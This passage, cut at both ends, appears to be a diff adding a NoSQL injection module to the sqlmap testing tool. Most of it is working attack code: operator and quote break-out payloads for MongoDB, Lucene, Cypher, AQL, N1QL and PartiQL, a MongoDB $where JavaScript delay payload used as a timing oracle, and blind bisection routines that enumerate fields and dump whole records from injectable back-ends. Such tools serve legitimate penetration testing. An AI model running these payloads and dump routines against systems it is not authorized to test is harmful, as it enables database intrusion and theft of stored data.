WAF/rate-limit block (403/429) is BLOCKED/ERROR, never a valid + # template - a mid-scan 429 or a 403 block page must not be read as a "false" (or as divergence) + if blockedStatus(_lastCode) or bool(re.search(NOSQL_ERROR_REGEX, page or "")): + return True + # a DBMS-identifiable error (errors.xml signatures) OR sqlmap's generic SQL-error marker + if sqlErrorPresent(page): + _sqlErrorSeen = True + return True + return False + +def _fetch(place, parameter, op, value, isArray=False): + """MongoDB/CouchDB dialect: renders the parameter as an operator object (bracket or JSON shape)""" + + suffix = ("[%s][]" % op) if isArray else ("[%s]" % op) + segment = "%s%s=%s" % (_encode(parameter), suffix, _encode(value)) + return _send(place, parameter, segment, {op: [value]} if isArray else {op: value}) + +def _fetchValue(place, parameter, value): + """String dialects (Lucene query_string, Cypher, AQL): replaces the parameter's value verbatim""" + + return _send(place, parameter, "%s=%s" % (_encode(parameter), _encode(value)), value) + +def _boolean(truthy, falsy): + """Returns the (reproducible) true-page when a NoSQL true/false payload pair yields a stable + content divergence - i.e. the payload reached and influenced the back-end - else None""" + + truePage = truthy() + if not truePage or _isError(truePage): # an error/blocked response is never a valid template + return None + if _ratio(truePage, truthy()) <= UPPER_RATIO_BOUND: # the TRUE side must independently reproduce + return None + + falsePage = falsy() + if not falsePage or _isError(falsePage): # a false-side error must not pass as "divergence" + return None + if _ratio(falsePage, falsy()) <= UPPER_RATIO_BOUND: # the FALSE side must independently reproduce too + return None + + # with an explicit user oracle (--string/--not-string/--regexp), require the true page to classify + # TRUE and the false page FALSE - do not fall back to raw similarity that the user overrode + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: # ... and true must differ from false + return truePage + + return None + +def _reproduced(sendFn): + """Send a never-matching (always-FALSE) payload twice and return its page as the FALSE model, or + None when it is unusable or not reproducible. Used to calibrate the false model each content vector + carries so extraction classifies bits relative to BOTH models (else extraction is disabled).""" + p1 = sendFn() + if not p1 or _isError(p1): + return None + if _ratio(p1, sendFn()) <= UPPER_RATIO_BOUND: + return None + return p1 + +def _detectMongo(place, parameter): + # $ne (matches everything) vs $in [sentinel] (matches nothing); $gt '' (matches any string) is a + # fallback always-true for apps that filter $ne but not the comparison operators + return _boolean(lambda: _fetch(place, parameter, "$ne", NOSQL_SENTINEL), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) \ + or _boolean(lambda: _fetch(place, parameter, "$gt", ""), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) + +def _detectES(place, parameter): + # '*' (matches everything) vs a literal sentinel (matches nothing) is a cheap FIRST-PASS trigger, + # but on its own it is NOT proof of injection: many search APIs treat '*' as a wildcard by design. + template = _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) + if not template: + return None + # STRUCTURAL proof the value is parsed as a Lucene query_string (not used as a literal search term): + # boolean operators the parser evaluates - `(NOT <rand>)` matches all, `(<rand> AND NOT <rand>)` + # matches nothing - whereas a plain wildcard-search box treats both as a literal string (no divergence). + if not _confirm(place, parameter, "(NOT %s)" % NOSQL_SENTINEL, "(%s AND NOT %s)" % (NOSQL_SENTINEL, NOSQL_SENTINEL)): + return None + return template + +def _detectCypher(place, parameter): + # single-quote break-out: OR '1'='1' (true) vs OR '1'='2' (false) + return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='2")) + +def _detectAQL(place, parameter): + # single-quote break-out: || '1'=='1 (true) vs || '1'=='2 (false) + return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='2")) + +def _detectNumeric(place, parameter): + # unquoted (numeric-context) boolean break-out for SQL-like back-ends: OR/AND (Cypher/N1QL) or + # ||/&& (AQL). A numeric field is not blindly regexp-extractable, so exploitation is the in-band + # dump of the always-true response (rows reflected by the page) + value = (_originalValue(place, parameter) or "1").strip() + if not value.isdigit(): + return None + + template = _boolean(lambda: _fetchValue(place, parameter, "%s OR 1=1" % value), lambda: _fetchValue(place, parameter, "%s AND 1=2" % value)) + if template: + # CRITICAL: `OR 1=1`/`AND 1=2` is IDENTICAL to classic SQL injection, so a bare divergence here + # is AMBIGUOUS - a plain SQL-injectable numeric parameter diverges exactly the same way. It is a + # NoSQL finding ONLY when an engine-SPECIFIC primitive (one no SQL back-end implements) ALSO + # confirms: N1QL REGEXP_CONTAINS, DynamoDB begins_with, Cypher STARTS WITH. Without such positive + # proof we must NOT attribute a DBMS (the old `else: Neo4j` default turned every SQL-injectable + # numeric parameter into a false Neo4j positive) - return None and let SQL detection handle it. + if _confirm(place, parameter, "%s OR REGEXP_CONTAINS('ab', 'a') OR 1=2" % value, "%s OR REGEXP_CONTAINS('ab', 'z') OR 1=2" % value): + dbms = "Couchbase" + elif _confirm(place, parameter, "%s OR begins_with('ab', 'a') OR 1=2" % value, "%s OR begins_with('ab', 'z') OR 1=2" % value): + dbms = "DynamoDB" + elif _confirmBattery(place, parameter, + lambda p: "%s OR %s OR 1=2" % (value, p), + lambda p: "%s OR %s OR 1=2" % (value, p), _CYPHER_PREDICATES): + dbms = "Neo4j" + else: + return None + return dbms, template, "%s OR 1=1" % value + + template = _boolean(lambda: _fetchValue(place, parameter, "%s || 1==1" % value), lambda: _fetchValue(place, parameter, "%s && 1==2" % value)) + if template: + # AQL `||`/`&&`/`==`; a PIPES_AS_CONCAT SQL engine can partly mimic `||`, so require a positive + # AQL-specific primitive from the battery (functions SQL lacks: two-arg LIKE, CONTAINS, LENGTH, REGEX_TEST) + if _confirmBattery(place, parameter, + lambda p: "%s || %s || 1==2" % (value, p), + lambda p: "%s || %s || 1==2" % (value, p), _AQL_PREDICATES): + return "ArangoDB", template, "%s || 1==1" % value + return None + + return None + +def _detectError(place, parameter): + # last-resort: a syntax-breaking value that diverges from a normal one and surfaces an engine error + original = _originalValue(place, parameter) or '1' + normal = _fetchValue(place, parameter, original) + broken = _fetchValue(place, parameter, original + "'") + + if not normal or not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: # None broken -> no crash on .lower() + return None + + for engine, tokens in ERROR_SIGNATURES: + # the diagnostic must be injection-specific (token absent from the normal page) and + # must reproduce, so a dynamic page that merely happens to diverge and mention an + # engine name once is not mistaken for an error-based oracle + if any(_ in broken.lower() for _ in tokens) and not any(_ in normal.lower() for _ in tokens): + reBroken = _fetchValue(place, parameter, original + "'") + if any(_ in (reBroken or "").lower() for _ in tokens): + return engine + + return None + +def _fingerprintMongo(place, parameter): + page = (_fetch(place, parameter, "$regex", '(') or "").lower() # invalid regexp -> driver/DB error (None-safe) + if any(_ in page for _ in ("couch", "mango", "bad_arg", "erlang")): + return "CouchDB" + elif any(_ in page for _ in ("mongo", "bson", "regular expression", "$regex")): + return "MongoDB" + else: + # operator injection worked but no product-specific signature leaked - name the FAMILY, + # not a specific product we cannot prove + return "MongoDB/CouchDB-compatible operator back-end" + +def _fingerprintLucene(place, parameter): + page = (_fetchValue(place, parameter, "/[/") or "").lower() # invalid regexp -> engine error (None-safe) + if any(_ in page for _ in ("solr", "solrexception")): + return "Solr" + elif "opensearch" in page: + return "OpenSearch" + else: + # Lucene query_string parsing confirmed but no product signature - name the FAMILY (this is + # most commonly Elasticsearch, but Solr/OpenSearch/Lucene share the syntax) + return "Lucene query_string-compatible back-end" + +def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."): + """Re-expresses sibling parameters as query constraints (field == parameter name) so extraction + stays bound to the originally matched record. `prefix`/`eq`/`conj` adapt the per-dialect syntax + (Cypher: 'u.'/'='/' AND '; AQL: 'u.'/'=='/' && '; $where JS: 'this.'/'=='/'&&')""" + + parts = [] + + for segment in conf.parameters[place].split(_delim(place)): + if '=' not in segment: + continue + name, _, value = segment.partition('=') + name = name.strip() + if not name or name == parameter: + continue + # only bind a sibling whose name is a plain field identifier: a dotted/quoted/operator/spaced + # name could change the PREDICATE STRUCTURE (not just add a filter) once interpolated, so it is + # skipped rather than trusted (the reviewer's "verified relationship" bar) + if not re.match(r"(?i)\A[a-z_][\w]*\Z", name): + continue + # escape the literal so a quote/backslash in the value cannot break out of the single-quoted + # string and alter/invalidate the predicate (Cypher/AQL/$where-JS all single-quote + backslash) + literal = value.replace("\\", "\\\\").replace("'", "\\'") + parts.append("%s%s%s'%s'" % (prefix, name, eq, literal)) + + return (conj.join(parts) + conj) if parts else "" + +def _confirm(place, parameter, truePayload, falsePayload): + # disambiguates dialects that share the same break-out syntax by probing a dialect-specific + # regexp-match primitive (e.g. Cypher '=~' vs N1QL 'REGEXP_CONTAINS') for a true/false divergence + return _boolean(lambda: _fetchValue(place, parameter, truePayload), lambda: _fetchValue(place, parameter, falsePayload)) is not None + +# Engine-specific primitive BATTERIES: each pair is (true_predicate, false_predicate) that differ +# ONLY in the engine-unique construct, so the divergence is attributable to that construct alone (a +# SQL back-end errors on every one of them -> no divergence). A rich battery (not a single primitive) +# makes attribution robust to an injection context that rejects any one function AND, by WHICH members +# fire, fingerprints the engine. Live-validated on the karlobag testbed (each flips on the real engine, +# none flips on the MySQL junkyard). Constant expressions only (no field reference needed). +_CYPHER_PREDICATES = ( # Neo4j Cypher + ("'ab' STARTS WITH 'a'", "'ab' STARTS WITH 'z'"), + ("'ab' ENDS WITH 'b'", "'ab' ENDS WITH 'z'"), + ("'ab' CONTAINS 'a'", "'ab' CONTAINS 'z'"), + ("size(['a','b'])=2", "size(['a','b'])=3"), + ("toInteger('7')=7", "toInteger('7')=8"), +) +_AQL_PREDICATES = ( # ArangoDB AQL + ("LIKE('ab', 'a%')", "LIKE('ab', 'z%')"), + ("CONTAINS('ab', 'a')", "CONTAINS('ab', 'z')"), + ("LENGTH('ab')==2", "LENGTH('ab')==3"), + ("REGEX_TEST('ab','^a')", "REGEX_TEST('ab','^z')"), +) + +def _confirmBattery(place, parameter, wrapTrue, wrapFalse, battery): + """Positive engine proof: return True as soon as ANY battery predicate flips true/false in the + verified break-out context. `wrapTrue`/`wrapFalse` are callables mapping a predicate to a payload.""" + for truePred, falsePred in battery: + if _confirm(place, parameter, wrapTrue(truePred), wrapFalse(falsePred)): + return True + return False + +def _timed(call): + start = time.time() + call() + return time.time() - start + +# --- tri-state extraction oracle (shared contract with the XPath/LDAP/HQL/GraphQL engines) ---------- +# A failed / blocked / error response is UNKNOWN, never a silent False bit. These resolvers reject an +# unusable response, RE-SEND it up to a bound, and raise InconclusiveError on persistent ambiguity so +# the per-value extractor aborts (returns None) instead of fabricating a length/char/count. `_NOSQL_RETRIES` +# is small - a couple of fresh sends are enough to ride out transient jitter. +_NOSQL_RETRIES = 2 + + +def _contentBit(fetchFn, value, trueModel, falseModel=None, retries=_NOSQL_RETRIES): + """Tri-state CONTENT bit. An unusable response (None / blocked / DBMS-error) is retried, then aborts + (InconclusiveError). When a `falseModel` is available, a usable page is classified RELATIVE to BOTH + models via the shared `resolveBit`: it must lean clearly to the true model over the false model by a + margin, else it is INCONCLUSIVE (re-sent, then aborts) - so an unrelated usable page (session-expired, + soft-WAF, validation) becomes UNKNOWN, never a false bit that corrupts the value. Without a false + model (legacy callers) it falls back to a true-model similarity threshold.""" + + def send(): + page = fetchFn(value) + return None if (page is None or _isError(page)) else page + + if falseModel is not None: + return resolveBit(send(), trueModel, falseModel, send, retries=retries) + + for _attempt in range(retries + 1): + page = send() + if page is not None: + return _ratio(page, trueModel) > UPPER_RATIO_BOUND + raise InconclusiveError() + + +def _timedResponse(place, parameter, payload): + """Return (elapsed_seconds, usable) for a timing probe. `usable` is False for a transport failure or + a blocked/error response, so a WAF-induced delay can never be read as a true timing bit.""" + start = time.time() + page = _fetchValue(place, parameter, payload) + elapsed = time.time() - start + return elapsed, (page is not None and not _isError(page)) + + +def _timedBit(place, parameter, payload, threshold, retries=_NOSQL_RETRIES): + """Tri-state TIMING bit with an ambiguity band. A usable reading clearly above threshold+margin is + True; clearly below threshold-margin is False; a reading NEAR the threshold (or an unusable one) is + RE-SAMPLED, and if it never separates cleanly the bit aborts (InconclusiveError) rather than being + guessed. A blocked/error response is never counted as a (slow) true bit.""" + margin = max(0.5, conf.timeSec * 0.25) + for _attempt in range(retries + 2): + elapsed, usable = _timedResponse(place, parameter, payload) + if not usable: + continue + if elapsed > threshold + margin: + return True + if elapsed < threshold - margin: + return False + # near the threshold: do not decide on one ambiguous sample - loop and re-sample + raise InconclusiveError() + +def _whereDelay(condition): + # MongoDB $where (server-side JS) string break-out: busy-loops for ~conf.timeSec seconds whenever + # the per-document JS `condition` holds, yielding a timing oracle when no content differential + # exists. The document is passed in as `d` (inside the function `this` is not the document). + # + # DoS BOUND: `$where` runs the function for EVERY document in the collection, so an unconditional or + # loose `condition` on a large collection would busy-loop docCount*timeSec seconds and hang the + # server on a single request. A counter kept in the shared per-query JS scope (`__c`, an implicit + # global assigned across document invocations) caps the busy-loop to ONE document per request: the + # timing oracle is unchanged (a slow response still means at least one document matched), but the + # added latency is ~timeSec regardless of collection size. On a MongoDB build that isolates the + # scope per invocation the cap simply never trips and behaviour degrades to the old per-doc loop. + return "%s' || (function(d){if(typeof __c=='undefined'){__c=0;}if(__c<1&&(%s)){__c=1;var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000)) + +def _detectWhere(place, parameter): + # An unconditional-delay payload must run ~conf.timeSec slower than the baseline - and do so TWICE, + # from USABLE responses, to reject a one-off jitter spike - while a non-delaying control stays fast. + # Every measurement is (elapsed, usable): a delayed BLOCKED/failed response (WAF/5xx) is NOT a valid + # slow sample, so a soft-blocking WAF can no longer establish a time-based $where finding. + baseDt, baseUsable = _timedResponse(place, parameter, _originalValue(place, parameter) or "1") + if not baseUsable: + return None + threshold = baseDt + conf.timeSec * 0.5 + + def slow(): + dt, usable = _timedResponse(place, parameter, _whereDelay("true")) + return usable and dt > threshold + + def fastControl(): + dt, usable = _timedResponse(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL) + return usable and dt <= threshold + + if slow() and slow() and fastControl(): + return threshold + return None + +def _jsString(value): + return "'%s'" % value.replace("\\", "\\\\").replace("'", "\\'") + +def _whereField(place, parameter, bound, expr, threshold, strict=False): + """Time-based recovery of an arbitrary per-document JavaScript string expression `expr` (e.g. a key + name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle. `strict` + propagates InconclusiveError (for structural key-name probes) instead of returning None.""" + + # tri-state timing bit: a blocked/error response is never read as a (slow) true bit, and a + # persistently unusable probe raises InconclusiveError so the value aborts instead of fabricating + truth = lambda payload: _timedBit(place, parameter, payload, threshold) + return _extract(None, None, + lambda n: _whereDelay("%s(%s)&&(%s).length>=%d" % (bound, expr, expr, n)), + lambda known, klass: _whereDelay("%s/^%s%s/.test(%s)" % (bound, _javaEscape(known), klass, expr)), + truth, strict=strict) + +def _whereDump(place, parameter, bound, threshold): + """Whole-document dump via server-side-JavaScript key enumeration: walk Object.keys(this) to recover + each field name, then String(this[name]) for its value. Returns (columns, rows, bound).""" + + columns, values, partial = [], [], False + for index in xrange(NOSQL_MAX_FIELDS): + try: + name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold, strict=True) + except InconclusiveError: + partial = True # inconclusive NEXT field name != end of fields + logger.warning("$where field enumeration became inconclusive at index %d; dump is PARTIAL" % index) + break + if not name: # genuine end (no more keys) + break + columns.append(name) + cell = _whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) + values.append(INCONCLUSIVE_MARK if cell is None else cell) # None => aborted; keep distinguishable from "" + logger.info("retrieved: %s='%s'" % (name, values[-1])) + + if partial: + logger.warning("$where document dump is INCOMPLETE (field enumeration aborted)") + # NOT bound: a $where key-walk is not pinned to a native _id, so with a loose/absent constraint the + # keys and values can come from different matching documents. `complete` = not partial. + return (columns, [values], False, not partial) if columns else None + +def _classChar(ordinal): + char = chr(ordinal) + return ("\\" + char) if char in "]\\^-" else char # escape the char-class metacharacters + +def _klass(low, high): + # a regexp character class spanning the codepoints [low, high] (single member when low == high) + return "[%s]" % _classChar(low) if low == high else "[%s-%s]" % (_classChar(low), _classChar(high)) + +def _propLiteral(name): + return "'%s'" % name.replace("\\", "\\\\").replace("'", "\\'") + +def _enumField(place, parameter, template, payloadFor, strict=False, falseModel=None): + """Content-based recovery of the string matched by a regexp clause built via payloadFor(regexBody), + reusing the bisection extractor against the always-true single-record `template`. `strict` + propagates InconclusiveError (for structural field-name probes); `falseModel` (a never-matching + response) enables relative true/false classification so an unrelated page is UNKNOWN, not false.""" + + return _extract(template, lambda value: _fetchValue(place, parameter, value), + lambda n: payloadFor(".{%d,}" % n), + lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass)), + strict=strict, falseModel=falseModel) + +def _enumDump(place, parameter, makePayload, keysExpr, valueExpr): + """Whole-document dump via key enumeration for the regexp dialects: keysExpr(i) -> the i-th field + name, valueExpr(name) -> that field's value. makePayload(targetExpr, regexBody) wraps the dialect + break-out and record binding around a '<targetExpr> matches ^<regexBody>' oracle. Returns + (columns, rows) or None - the caller can then fall back to single-field extraction""" + + # A whole-document dump is content-based, so it REQUIRES both models: a reproduced true (any-match) + # page, a reproduced false (never-match) page, and CLEAR SEPARATION between them. Without all three, + # classification would be one-sided (an unrelated usable page -> a fabricated false bit), so the dump + # is DISABLED (return None) - it must never run _enumField with falseModel=None in a live dump. + template = _reproduced(lambda: _fetchValue(place, parameter, makePayload(keysExpr(0), ".*"))) + falseModel = _reproduced(lambda: _fetchValue(place, parameter, makePayload(keysExpr(0), NOSQL_SENTINEL))) + if not template or not falseModel or _ratio(template, falseModel) > UPPER_RATIO_BOUND: + logger.debug("NoSQL dump disabled: could not calibrate separable true/false models") + return None + + columns, values, partial = [], [], False + for index in xrange(NOSQL_MAX_FIELDS): + try: + name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb), strict=True, falseModel=falseModel) + except InconclusiveError: + partial = True # inconclusive NEXT field name != end of fields + logger.warning("field enumeration became inconclusive at index %d; dump is PARTIAL" % index) + break + if not name: # genuine end (no more keys) + break + columns.append(name) + cell = _enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb), falseModel=falseModel) + values.append(INCONCLUSIVE_MARK if cell is None else cell) # None => aborted; keep distinguishable from "" + logger.info("retrieved: %s='%s'" % (name, values[-1])) + + if partial: + logger.warning("document dump is INCOMPLETE (field enumeration aborted before end)") + # NOT bound by default: the caller's makePayload uses only a sibling `constraint` (which may match + # many records). A caller that pins a NATIVE id per record (e.g. _cypherDump's id(u)=k) marks its + # own result bound. `complete` = not partial. + return (columns, [values], False, not partial) if columns else None + +def _cypherDump(place, parameter): + """Blind multi-record collection dump (Neo4j Cypher). Walks every matched node in ascending order + of its internal node id (a unique, ordered, always-present key - unlike property order, which Neo4j + does not guarantee), key-enumerating each node's full document. Returns (columns, rows) or None""" + + fetch = lambda payload: _fetchValue(place, parameter, payload) + # DUAL model: a record-ABSENT page (zero rows) AND a record-PRESENT page (all rows). Existence is + # classified RELATIVE to both (shared resolveBit via _contentBit) - an unrelated usable page (e.g. a + # session-expired / soft-WAF page) leans to NEITHER and is INCONCLUSIVE, never fabricated as "exists". + absentModel = _reproduced(lambda: fetch("%s' OR '1'='2" % NOSQL_SENTINEL)) + presentModel = _reproduced(lambda: fetch("%s' OR '1'='1" % NOSQL_SENTINEL)) + if not absentModel or not presentModel or _ratio(presentModel, absentModel) > UPPER_RATIO_BOUND: + return None # not separable / not usable -> cannot dump safely + + # a numeric condition opens no string, so balance the app's trailing quote with a tautology; `exists` + # is True only when the page leans to the present model over the absent model (retry/abort otherwise) + exists = lambda cond: _contentBit(lambda v: fetch("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond)), None, presentModel, absentModel) + + def minIdGreater(lower): + # smallest internal node id strictly greater than `lower` (None when no further node exists). + # Grow an INDEPENDENT positive span from `lower` (never multiply the bound itself: with + # lower=-1 the upper bound starts at 0 and `hi *= 2` stays 0 forever when node id 0 is absent - + # deleting the earliest nodes is enough to hang the scan). Bounded by both a numeric ceiling + # AND a probe cap. + if not exists("id(u) > %d" % lower): + return None + span, probes = 1, 0 + hi = lower + span + while not exists("id(u) > %d AND id(u) <= %d" % (lower, hi)): + span *= 2 + hi = lower + span + probes += 1 + if hi > (1 << 40) or probes > 64: + return None + lo = lower + while lo + 1 < hi: + mid = (lo + hi) // 2 + if exists("id(u) > %d AND id(u) <= %d" % (lower, mid)): + hi = mid + else: + lo = mid + return hi + + columns, records, lastId, complete = [], [], -1, True + try: + for _ in xrange(NOSQL_MAX_RECORDS): + nodeId = minIdGreater(lastId) + if nodeId is None: + break + record = _enumDump(place, parameter, + lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + if record: + cols, values, _b, recComplete = record # each field bound to the SAME node by id(u)=k + records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) + columns.extend(_ for _ in cols if _ not in columns) + if not recComplete: # a node's own fields were partially recovered + complete = False + lastId = nodeId + else: + logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) + complete = False + except InconclusiveError: + # the node-id walk hit a persistently unusable oracle: stop and return what was recovered so + # far (partial) rather than fabricate node existence from failed requests + complete = False + logger.warning("Cypher record walk aborted (oracle inconclusive); returning %d record(s) recovered so far" % len(records)) + + # BOUND: every field of every record was pinned to a unique native node id (id(u)=k) + return (columns, [[row.get(_, "") for _ in columns] for row in records], True, complete) if records else None + +def _partiqlValue(place, parameter, bind, field): + """Blind extraction of `field` for the bound record on a DynamoDB PartiQL point. PartiQL has no + regexp, so each character is recovered by an ordered string comparison (field >= 'prefix'+char), + bisected over the printable-ASCII range. Returns the value or None""" + + quote = lambda value: value.replace("'", "''") # PartiQL escapes a single quote by doubling it + fetch = lambda payload: _fetchValue(place, parameter, payload) + template = _reproduced(lambda: fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field))) # field >= '' -> match (TRUE model) + # FALSE model: `... OR '1'='2` never matches (the bound record is absent), so each comparison bit is + # classified relative to BOTH models; without it a session-expired/soft-WAF page would become a false + # bit. Cannot calibrate both -> disable extraction rather than one-side. + falseModel = _reproduced(lambda: fetch("%s' OR '1'='2" % NOSQL_SENTINEL)) + if not template or not falseModel or _ratio(template, falseModel) > UPPER_RATIO_BOUND: + return None + + truth = lambda value: _contentBit(lambda v: fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(v))), value, template, falseModel) + + try: + retVal = "" + while len(retVal) < NOSQL_MAX_LENGTH: + if not truth(retVal + chr(NOSQL_CHAR_MIN)): # no character at this position -> end of value + break + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth(retVal + chr(mid)): + lo = mid + else: + hi = mid - 1 + retVal += chr(lo) + except InconclusiveError: + logger.warning("PartiQL extraction aborted for a value (oracle inconclusive after retries)") + return None + + return retVal or None + +def _partiqlDump(place, parameter, key): + """DynamoDB PartiQL: comparison-extract the injected field, bound to its record by sibling + parameters (PartiQL exposes no key-enumeration, so the dumpable field is the injected one)""" + + bind = _constraint(place, parameter, "=", " AND ", prefix="") + if not bind: # need a sibling to pin a single record + return None + value = _partiqlValue(place, parameter, bind, key) + # a single sibling is not proven to be the COMPLETE partition+sort key, so cardinality-one is not + # established -> representative (the recovered value could belong to any record matching `bind`) + return ([key], [[value]], False, True) if value is not None else None + +def _extract(template, fetchFn, lengthValue, charValue, truthFn=None, strict=False, falseModel=None): + """Blind value recovery: binary-searches the length, then bisects each character's codepoint over + the printable-ASCII range using regexp character-class ranges (sqlmap-style inference, ~log2(range) + requests per character instead of a linear scan - far smaller WAF/log footprint). lengthValue(n) + and charValue(known, charClass) render the dialect payload; the oracle is the content ratio against + `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate). + + Return contract distinguishes THREE outcomes so a structural caller never confuses them: + - a recovered value (incl. "" for a genuine zero-length value); + - InconclusiveError raised when `strict` and the oracle aborts (a structural probe - a field NAME + or a next-row pin - must treat this as UNKNOWN, not end-of-data); + - None returned when NOT `strict` and the oracle aborts (a per-value abort: caller renders a marker). + """ + + truth = truthFn or (lambda value: _contentBit(fetchFn, value, template, falseModel)) + + try: + length, probe = 0, 1 + while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)): + length, probe = probe, probe * 2 + + low, high = length, min(probe, NOSQL_MAX_LENGTH + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth(lengthValue(mid)): + low = mid + else: + high = mid + + if not low: + return "" # genuine zero-length value / end (NOT abort) + + debugMsg = "retrieving the value (%d characters)" % low + logger.debug(debugMsg) + + retVal = "" + for _ in xrange(low): + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + if not truth(charValue(retVal, _klass(lo, hi))): + retVal += '?' # character outside the printable-ASCII range + continue + while lo < hi: + mid = (lo + hi) // 2 + if truth(charValue(retVal, _klass(lo, mid))): + hi = mid + else: + lo = mid + 1 + retVal += chr(lo) + except InconclusiveError: + # a structural caller must SEE the abort (to mark the dump partial / abort), not read it as + # end-of-data; a per-value caller instead gets None and renders an inconclusive marker + logger.warning("NoSQL extraction aborted for a value (oracle inconclusive after retries)") + if strict: + raise + return None + + return retVal + +def _resolve(place, parameter, key): + """Tries each NoSQL dialect in turn; the first that detects fixes the back-end and the extraction + payloads. Returns a Vector (whose `template`/`lengthValue` are None for detection-only back-ends) + or None when nothing matches""" + + field = "u.%s" % key + + template = _detectMongo(place, parameter) + if template: + falseModel = _reproduced(lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) # matches nothing + return Vector(_fingerprintMongo(place, parameter), + lambda value: _fetch(place, parameter, "$regex", value), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^%s%s" % (re.escape(known), klass), + template=template, bypass='{"$ne": null}', falseModel=falseModel) + + template = _detectES(place, parameter) + if template: + falseModel = _reproduced(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL)) # literal sentinel matches nothing + return Vector(_fingerprintLucene(place, parameter), + lambda value: _fetchValue(place, parameter, value), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (_lucene(known), klass), + template=template, bypass='*', falseModel=falseModel) + + template = _detectCypher(place, parameter) + if template: + constraint = _constraint(place, parameter) + + # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out - which + # is ALSO identical to classic SQL string injection. Attribute a back-end ONLY on a positive, + # engine-specific primitive: Cypher '=~' regex or STARTS WITH, N1QL REGEXP_CONTAINS, PartiQL + # begins_with. If NONE confirms, this is a plain SQL string injection, not NoSQL -> return None + # (the old unconditional Neo4j fall-through turned every SQLi string parameter into a false Neo4j). + # NOTE the confirm pairs differ ONLY in the engine-specific clause ('=~' regex body, or the + # STARTS WITH prefix), with an IDENTICAL false tautology tail on both sides - so the + # divergence is attributable to the Cypher primitive alone, never to the shared '1'='x' + # tautology (which a SQL back-end would also flip). + cypher = _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)) \ + or _confirmBattery(place, parameter, + lambda p: "%s' OR %s OR '1'='2" % (NOSQL_SENTINEL, p), + lambda p: "%s' OR %s OR '1'='2" % (NOSQL_SENTINEL, p), _CYPHER_PREDICATES) + if not cypher: + if _confirm(place, parameter, "%s' OR REGEXP_CONTAINS(%s, '.*') OR '1'='2" % (NOSQL_SENTINEL, field), "%s' OR REGEXP_CONTAINS(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, field, NOSQL_SENTINEL)): + # bind EVERY probe (length, char, key-index, value) to the sibling-identified record by + # AND-ing the `constraint` into the OR-clause: `... OR (u.id='7' AND REGEXP_CONTAINS(..)) + # OR ...`. Without this the key/value predicates could match DIFFERENT documents, so a + # `bound=True` label would be false (the reviewer's P0-6). When `constraint` is empty the + # clause is just the predicate and bound=False, honestly marking the dump representative. + # never-matching regexp body = the FALSE model (bound identically to the extraction) + cbFalse = _reproduced(lambda: _fetchValue(place, parameter, "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL))) + return Vector("Couchbase", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' OR (%sREGEXP_CONTAINS(%s, '^.{%d,}')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, n), + lambda known, klass: "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, field, _quoted(_javaEscape(known) + klass)), + template=template, bypass="' OR '1'='1", + dump=lambda: _enumDump(place, parameter, + lambda expr, rb: "%s' OR (%sREGEXP_CONTAINS(%s, '^%s')) OR '1'='2" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n)), + bound=bool(constraint), falseModel=cbFalse) + + if _confirm(place, parameter, "%s' OR begins_with(%s, '') OR '1'='2" % (NOSQL_SENTINEL, key), "%s' OR begins_with(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, key, 